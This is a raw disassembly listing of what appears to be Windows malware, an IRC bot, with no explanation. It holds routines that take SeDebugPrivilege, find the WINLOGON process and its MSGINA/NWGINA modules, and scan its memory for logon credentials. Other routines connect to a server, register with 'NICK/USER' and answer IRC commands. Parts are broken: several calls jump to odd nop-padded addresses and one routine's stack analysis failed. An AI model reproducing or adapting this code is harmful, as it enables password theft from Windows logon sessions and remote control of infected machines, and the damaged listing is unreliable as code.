dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h
dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h
dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h
dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h
dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
dd 0E890FC75h, 2348DD8h, 8F75C085h, 90FC75FFh, 1D8DCBE8h
dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h
dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 348D53E8h, 0C0859002h
dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26B0000h
mov esi, dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A40, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, dword_427148
mov edi, 400h
mov ebx, offset dword_4D3830
push edi
push ebx
push offset off_4385B4
call esi
push edi
mov edi, offset dword_4D4030
push edi
push offset off_43859C
call esi
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438540
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384DC
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 27907BAh
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384A8
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 26E0000h
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427150
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi
push eax
call near ptr 27B0000h
nop
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi
push eax
call near ptr 27B0000h
nop
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 26802EFh
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27D0310h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427154
push 8
call esi
mov edi, dword_427150
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27C0B1Eh
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3830
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4030
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 275064Ch
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call near ptr 2750000h
nop
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov dword_4D4A50, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27B0000h
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
nop
call near ptr 26608D5h
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call near ptr 26802EFh
nop
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27D0310h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27C0B1Eh
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi
push eax
nop
call near ptr 27C0000h
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 27D0000h
nop
test eax, eax
jz short loc_41788C
push offset dword_4D3830
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4030
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 27B0000h
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
nop
call near ptr 26608D5h
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov dword_4D4A50, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 26608D5h
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 27C0000h
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A50
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset dword_4D4840
push offset dword_4D3830
push offset dword_4D4030
push [ebp+arg_0]
push offset dword_4386C4
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call near ptr 27B0000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 27C0AA9h
nop
push eax
nop
call near ptr 27C0000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4030
mov edi, 200h
mov esi, offset dword_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax
push dword_4D4A50
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_4386C4
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_438714
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
nop
call near ptr 27C0AA9h
push eax
nop
call near ptr 27B0000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset dword_43932C
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset dword_439328
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_43931C
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
